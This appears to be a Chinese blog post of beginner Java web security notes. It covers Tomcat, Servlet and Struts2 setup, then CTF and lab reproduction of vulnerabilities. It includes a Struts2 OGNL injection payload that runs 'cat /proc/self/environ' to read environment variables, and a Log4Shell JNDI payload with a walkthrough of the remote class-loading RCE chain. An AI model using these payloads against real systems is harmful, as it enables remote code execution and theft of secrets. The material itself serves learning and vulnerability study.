java安全入门【持续更新】

java安全入门

概述

发现一个总体学习路线:Java Web基础 – EastJun’s Blog

发现一个入门网站:https://how2j.cn/?p=50613

了解了javaEE

Java EE,Java 平台企业版(Java Platform Enterprise Edition),之前称为Java 2 Platform, Enterprise Edition (J2EE),2018年3月更名为 Jakarta EE(这个名称应该还没有得到群众认可)。是 Sun 公司为企业级应用推出的标准平台,用来开发B/S架构软件。Java EE 可以说是一个框架,也可以说是一种规范。

JavaEE 是 Java 应用最广泛的部分。

总而言之就是java web框架

一般来讲,初学者应该遵循以下路径

Servlet -> JSP -> Spring -> 组合框架

Servlet 和 JSP 在日后的开发中虽然很少直接应用,但却是各种框架的基础,应该放在开始去了解。这两部分也并不难,相信经过了 JavaSE(javaEE的基础框架) 的洗礼,只需要进行短期的学习,知道它们都是什么,就可以投入实践中了。

题目

ctfshowjava

工具下载:(不过似乎有点问题)

HatBoy/Struts2-Scan: Struts2全漏洞扫描利用工具 (github.com)

工具使用参考:

[ctfshow web入门 (java) | Y0ng的博客 (yongsheng.site)](http://www.yongsheng.site/2021/04/04/ctfshow web入门 (java)/)

wp详解参考:(65条消息) CTFshow刷题日记-WEB-JAVA(web279-300)Struts2全漏洞复现,Java漏洞复现_OceanSec的博客-CSDN博客_编写payload

(65条消息) ctfshow java篇_penson by 小乌的博客-CSDN博客_ctfshow java

payload

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/proc/self/environ"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

java安全入门【持续更新】_第1张图片

然后原本还想用工具扫描利用,结果出了点问题,首先是url里面80端口不能省略,其次是S2-001不支持使用

java安全入门【持续更新】_第2张图片

环境搭建

跑一个javaweb需要jdk(提供服务端语言java和他的环境)+tomcat(之类的web中间件)+idea(之类的ide来编辑,开发网站)

jdk如何下载网上教程极多,这里使用jdk 11.0.8

tomcat安装配置:JavaWeb学习总结(一)——JavaWeb开发入门 - 孤傲苍狼 - 博客园 (cnblogs.com)

配完环境变量以后启动tomcat也可以

startup

idea配置javaweb,参考

如果你和我一样找不到java ee还有web application的话,第一时间检测是否安装了旗舰版(学生免费),不是的话卸载重装;如果是的话,可能你的版本得像我的这样才行

java安全入门【持续更新】_第3张图片

点击next后运行汤姆猫

java安全入门【持续更新】_第4张图片

随后会自动跳转

java安全入门【持续更新】_第5张图片

如果configurations下面打叉,点开后有warning的话,看看是不是遇到了这个问题(67条消息) 【错误解决】Intellj(IDEA) warning no artifacts configured_鼠小的博客-CSDN博客

倘若你是用eclipse的,要搭建Eclipse JSP/Servlet 环境,假定你已安装了 JDK 环境,如未安装,可参阅 Java 开发环境配置 。

我们可以使用 Eclipse 来搭建 JSP 开发环境,首先我们分别下载一下软件包:

  • **Eclipse J2EE:**http://www.eclipse.org/downloads/
  • **Tomcat:**http://tomcat.apache.org/download-70.cgi

之后根据菜鸟Eclipse JSP/Servlet 环境搭建 | 菜鸟教程 (runoob.com)进行配置

接下来便是简单的web知识学习

基础jsp知识

建议跟着菜鸟来一遍,从这里开始JSP 语法 | 菜鸟教程 (runoob.com)

可以一直看到

看不明白的可以看看miku大神的博客https://miku233.cn/2022/03/24/javaweb/

jsp动作元素那一块的知识,由于菜鸟示例中用的是Eclipse搭建,所以这里可以按照我的来复现:

java安全入门【持续更新】_第6张图片

正常你会发现这有三个一样的东西

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kuwqkRbg-1648355058882)(C:/Users/20281/AppData/Roaming/Typora/typora-user-images/image-20220325212259676.png)]

这与菜鸟里面的描述是很相似的,大胆推测我们直接在某处写java就可以自动部署上去了

java安全入门【持续更新】_第7张图片

new 一个testbean.class,内容如下

package com.example.demo2;

public class TestBean {
    private String message = "菜鸟教程";

    public String getMessage() {
        return(message);
    }
    public void setMessage(String message) {
        this.message = message;
    }
}

后面在index.jsp同级目录下新建main.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
         pageEncoding="UTF-8"%>



    
    菜鸟教程(runoob.com)



Jsp 使用 JavaBean 实例

输出信息....

之后访问/main.jsp

java安全入门【持续更新】_第8张图片
这个可以看快点,因为后面接触题目接触多了就熟悉了,我们更重要的是去熟悉后端语言

Servlet

Servlet3.0之前的版本都是在web.xml中配置,而3.0之后使用注解方式来配置。

基于web.xml


    
        xxx
        user
        user
        com.sec.servlet.UserServlet
    
    
        user
        /user
    

  • :声明Servlet配置入口
  • :声明Servlet描述信息
  • :定义Web应用的名字
  • :声明Servlet名称以便在后面的映射时使用
  • :指定当前servlet对应的类的路径
  • :注册组件访问配置的路径入口
  • :指定上文配置的Servlet的名称
  • :指定配置这个组件的访问路径

给一个demo

package com.example.demo3;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class HelloServlet extends HttpServlet {
    private String message;

    @Override
    public void init() throws ServletException {
        message = "Hello world, this message is from servlet!";
    }

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //设置响应内容类型
        resp.setContentType("text/html");

        //设置逻辑实现
        PrintWriter out = resp.getWriter();
        out.println("

" + message + "

"); } @Override public void destroy() { super.destroy(); } }

把这个复制黏贴进HelloServlet.java,这样源码就好了

之后是获取依赖和修改设置:

随后亲测用前面方法配置servlet极其复杂,文件目录和网上的博客都有较大的出入,配置servlet注意要看清自己idea的版本,如果新版本的话可以参考这个(81条消息) IDEA新建Servlet项目(适用于IDEA 2020.2及以上版本)_「已注销」的博客-CSDN博客_idea创建servlet项目

但其实和前面的方法配置出来的结果本质都是一样的吧,差异在于下面这个class

java安全入门【持续更新】_第9张图片

如果是前面的方法默认是C:\Users\20281\IdeaProjects\demo3\target\demo3-1.0-SNAPSHOT\WEB-INF\classes

后者则是图中自定义的,其实都可以,接下来导入tomcat依赖等等可以自己去看上面的参考

最后是这个配置web.xml,我的是这样

 
        HelloWorld
        com.example.demo3.HelloServlet
    

    
        HelloWorld
        /HelloWorld
    

简单的说 是规定class文件的位置(就是直接包名+类名),是规定路由的,项目目录若是如下

java安全入门【持续更新】_第10张图片

就直接/HelloWorld

java安全入门【持续更新】_第11张图片

报错是这个

(81条消息) java.lang.NoClassDefFoundError: javax/servlet/http/HttpServlet_丘山凶二的博客-CSDN博客

tomcat9下载

Apache Tomcat® - Apache Tomcat 9 Software Downloads

改环境变量

下载完安装文件后,将压缩文件解压到一个方便的地方,比如 Windows 下的 C:\apache-tomcat-5.5.29 目录或者 Linux/Unix 下的 /usr/local/apache-tomcat-5.5.29 目录,然后创建 CATALINA_HOME 环境变量指向这些目录。

java安全入门【持续更新】_第12张图片

改完自己startup试试,发现是tomcat9的页面了,关掉以后idea可以重新配置一下configurations之后run了

java安全入门【持续更新】_第13张图片

之后稍微了解一下tomcat

java安全入门【持续更新】_第14张图片

之后可以学习简单的servlet编程

Servlet方法

java安全入门【持续更新】_第15张图片

继承HttpServlet 方法 ,然后熟悉一下get post方法

@Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws
            ServletException, IOException {
        System.out.println("Http GET");
    }
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        System.out.println("Http POST");
    }

java安全入门【持续更新】_第16张图片

还有一些表单提交什么的,简单复现一下就行

重点应该放在jndi等等

OGNL

一种语言,常在web框架如struts2中使用

OGNL详解 - 陪看天涯海角 - 博客园 (cnblogs.com)

直接在pom.xml写会警告

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上java安全入门【持续更新】_第17张图片

大概是因为找不到ognl包,这个时候需要我们去导入

由于学习ognl是为了学习ognl注入,即structs类漏洞的基础,除此之外,structs自带很多jar包,其中就包含了ognl,所以我们这里顺手搭建structs环境的同时可以导入ognl包

搭建struts 2

(81条消息) IDEA2020版本搭建struts框架_qq_45486005的博客-CSDN博客_idea2020没有struts2框架

注意看自己版本,倘若是idea2021版本,按照这个(81条消息) IntelliJ IDEA2021.2搭建struts2框架_zhangz1z1的博客-CSDN博客_idea搭建struts2框架

一切以上面的博客链接为主,以下是我搭建的时候遇到的坑点

最后用 struts 2框架 搭建好的 我放在在 strutstest这个工程文件里, struts下完插件会变成如图

java安全入门【持续更新】_第18张图片

之后简单配置

java安全入门【持续更新】_第19张图片

最后到web.xml的时候

这里面有点小问题,会报错:cannot resolve class web.xml



    demo
    
    
        /login.jsp
    

    
        
        struts
        
            org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter
        
    
    
        
        struts
        
        *.action
    



其实是识别错了,把里面所有注释删掉即可

然后运行的时候又报错严重 [RMI TCP Connection(3)-127.0.0.1] org.apache.catalina.core.StandardConte 一个或多个筛选器启动失败

如下图修改,原因是找不到jar包

java安全入门【持续更新】_第20张图片

之后成功

java安全入门【持续更新】_第21张图片

ognl语法学习

struts2系列漏洞复现

倘若不追求理解只是想复现漏洞利用流程的话,可以直接使用:vulhub(81条消息) S2-001 远程代码执行漏洞复现_humble嘻的博客-CSDN博客

个人觉得这个洞了解了解就行了,其实也没那么深奥不是嘛,给人一种ssti的感觉

payload特征

%{111}

%{‘111’}

其实就是这样:%{}

Spring

待补充

Log4j2

环境搭建

java安全入门【持续更新】_第22张图片

demo

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger();
        //int a = 1;
        logger.error("miku");
    }
}

java安全入门【持续更新】_第23张图片

代码

package main;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger();
        //int a = 1;
        logger.error("${java:version}");
    }
}

java安全入门【持续更新】_第24张图片

漏洞复现

demo

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger();
        //int a = 1;
        //logger.error("${java:version}");
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:rmi://127.0.0.1:12345/hello}");
    }
}

其实就是换成

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); logger.error("${jndi:rmi://127.0.0.1:12345/hello}");

这几句

java安全入门【持续更新】_第25张图片

logger.errorJndiLookup.lookup进行调试

结论:在StrSubstitutor.subtute方法,存在递归,payload进去以后会varname为jndi:rmi://127.0.0.1:12345/hello,之后在JndiLookup.lookup触发恶意代码执行

流程分析

java安全入门【持续更新】_第26张图片

image-20220404155107468

java安全入门【持续更新】_第27张图片

image-20220404155306728

java安全入门【持续更新】_第28张图片

java安全入门【持续更新】_第29张图片

java安全入门【持续更新】_第30张图片

java安全入门【持续更新】_第31张图片

java安全入门【持续更新】_第32张图片

java安全入门【持续更新】_第33张图片

java安全入门【持续更新】_第34张图片

java安全入门【持续更新】_第35张图片

之后一直看到append就跟进去,来到这里tryCallAppender

java安全入门【持续更新】_第36张图片

java安全入门【持续更新】_第37张图片

java安全入门【持续更新】_第38张图片

java安全入门【持续更新】_第39张图片

image-20220404161504758

java安全入门【持续更新】_第40张图片

这里的 formatters 方法包含了多个 formatter 对象,其中触发漏洞的是第8个,其中包含 MessagePatternConverter

java安全入门【持续更新】_第41张图片

跟入看到调用了 Converter 相关的方法

java安全入门【持续更新】_第42张图片

java安全入门【持续更新】_第43张图片

不难看出每个 formatter 和 converter 为了构造日志的每一部分,这里在构造真正的日志信息字符串 部分 跟入 MessagePatternConverter.format 方法,看到核心的部分

java安全入门【持续更新】_第44张图片

可以看到这个value的值是 ${jndi:rmi://127.0.0.1:12345/hello}

java安全入门【持续更新】_第45张图片

跟进replace方法

java安全入门【持续更新】_第46张图片

跟入 StrSubstitutor.subtute 方法,存在递归,逻辑较长 主要作用是递归处理日志输入,转为对应的输出

image-20220404171341327

跟入StrSubstitutor.subtute方法,存在递归,逻辑较长

主要作用是递归处理日志输入,转为对应的输出

image-20220324220931210

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
                       List priorVariables) {
    ...
    substitute(event, bufName, 0, bufName.length());
    ...
    String varValue = resolveVariable(event, varName, buf, startPos, endPos);
    ...
    int change = substitute(event, buf, startPos, varLen, priorVariables);
}

其实这里是触发漏洞的必要条件,通常情况下程序员会这样写日志相关代码

logger.error("error_message:" + info);

黑客的恶意输入有可能进入info变量导致这里变成

logger.error("error_message:${jndi:rmi://127.0.0.1:12345/hello}");

这里的递归处理成功地让jndi:rmi://127.0.0.1:12345/hello进入resolveVariable方法

可以看到varname为jndi:rmi://127.0.0.1:12345/hello

java安全入门【持续更新】_第47张图片

经过调试确认了关键方法resolveVariable

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yUF5Qehc-1649064423227)(https://raw.githubusercontent.com/Eleina-233/image2/main/image-20220324221417501.png)]

进入lookup()

java安全入门【持续更新】_第48张图片

这里的strLookupMap中包含了多种Lookup对象

java安全入门【持续更新】_第49张图片

跟入JndiLookup.lookup

java安全入门【持续更新】_第50张图片

跟入JndiLookup.lookup

image-20220324221930943

最后触发点JndiManager.lookup

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lSIdGNfB-1649064423229)(https://raw.githubusercontent.com/Eleina-233/image2/main/image-20220325103003741.png)]

jndi

环境搭建以及漏洞复现

java安全入门【持续更新】_第51张图片

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zth5WPGT-1649064423231)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220401205923639.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UMsEU6NL-1649064423231)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220401210410869.png)]

java安全入门【持续更新】_第52张图片

流程分析

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XCjobLuP-1649064423232)(C:/Users/20281/AppData/Roaming/Typora/typora-user-images/image-20220404135257576.png)]

从这里进入 lookup() 方法

java安全入门【持续更新】_第53张图片

getURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象,此处返回Context对象的 子类rmiURLContext对象,然后在对应协议中去lookup搜索,我们进入lookup函数

java安全入门【持续更新】_第54张图片

此处this为rmiURLContext类调用对应类的getRootURLContext类为解析RMI地址,不同协议调用这个函 数,根据之前getURLOrDefaultInitCtx(name)返回对象的类型不同,执行不同的getRootURLContext ctx.lookup()去注册中心调用lookup查找,我们进入此处

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JuL6XnlE-1649064423236)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220404140220902.png)]

注意到下面的服务端代码,我们在RMI服务端绑定的是一个Reference对象,世界线在这里变动 如果是Reference对象会,进入var.getReference(),与RMI服务器进行一次连接,获取到远程class文 件地址。 如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI服务。 getObjectInstance()获取reference对象,进入此处

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mpRIMXWx-1649064423238)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220404140525221.png)]

进入getObjectFactoryFromReference()

java安全入门【持续更新】_第55张图片

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K3ssUGWl-1649064423239)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220404140957333.png)]

该函数开始尝试从本地获取该class 
如果不在本地classpath,
从cosebase中获取class 此处codebase是我们在恶意RMI服务端中定义的http://127.0.0.1:8081/ 
然后从我们放置恶意class文件的web服务器中获取class文件 
实例化我们的恶意class文件

java安全入门【持续更新】_第56张图片

这里的class就是我们在服务端放置的hello

在调用 getObjectFactoryFromReference() 方法获取 ObjectFactory 类时调用了 helper.loadClass() 方法对远程的 ObjectFactory 类进行加载并实例化:

然后就会去远程的恶意服务器获取字节码进行加载,造成RCE。

漏洞利用小结

整个利用流程如下:

  • 首先需要编写恶意类,可以在构造方法、静态方法或getObjectInstance()方法中写恶意代码
  • 在RMI Server中绑定一个用ReferenceWrapper封装的Reference类,其中指定classFactoryLocation为远程类的地址,该地址可以是file/http/ftp协议的
  • 然后RMI Client调用InitialContext.lookup()方法时RMI Server返回一个Reference类,接着RMI Client会动态加载并实例化ObjectFactory类,并调用ObjectFactory类的getObjectInstance()方法
  • 在本地找不到ObjectFactory类时,会去远程的恶意服务器获取ObjectFactory类进行加载并实例化造成RCE

但是在JDK 6u132、7u122、8u113之后新增了com.sun.jndi.rmi.object.trustURLCodebase选项,并且默认值为false,不允许从远程的Codebase加载Reference的工厂类。decodeObject()方法中有对com.sun.jndi.rmi.object.trustURLCodebase进行判断

java安全入门【持续更新】_第57张图片

建议弄完这个去试一试ctfshow的log4j复现(今年1月份还有环境,现在不知道有没有),或者拉个vulhub下来练一练,使用一下github上面的exp,收悉利用

你可能感兴趣的:(安全性测试,web安全,java,java-ee)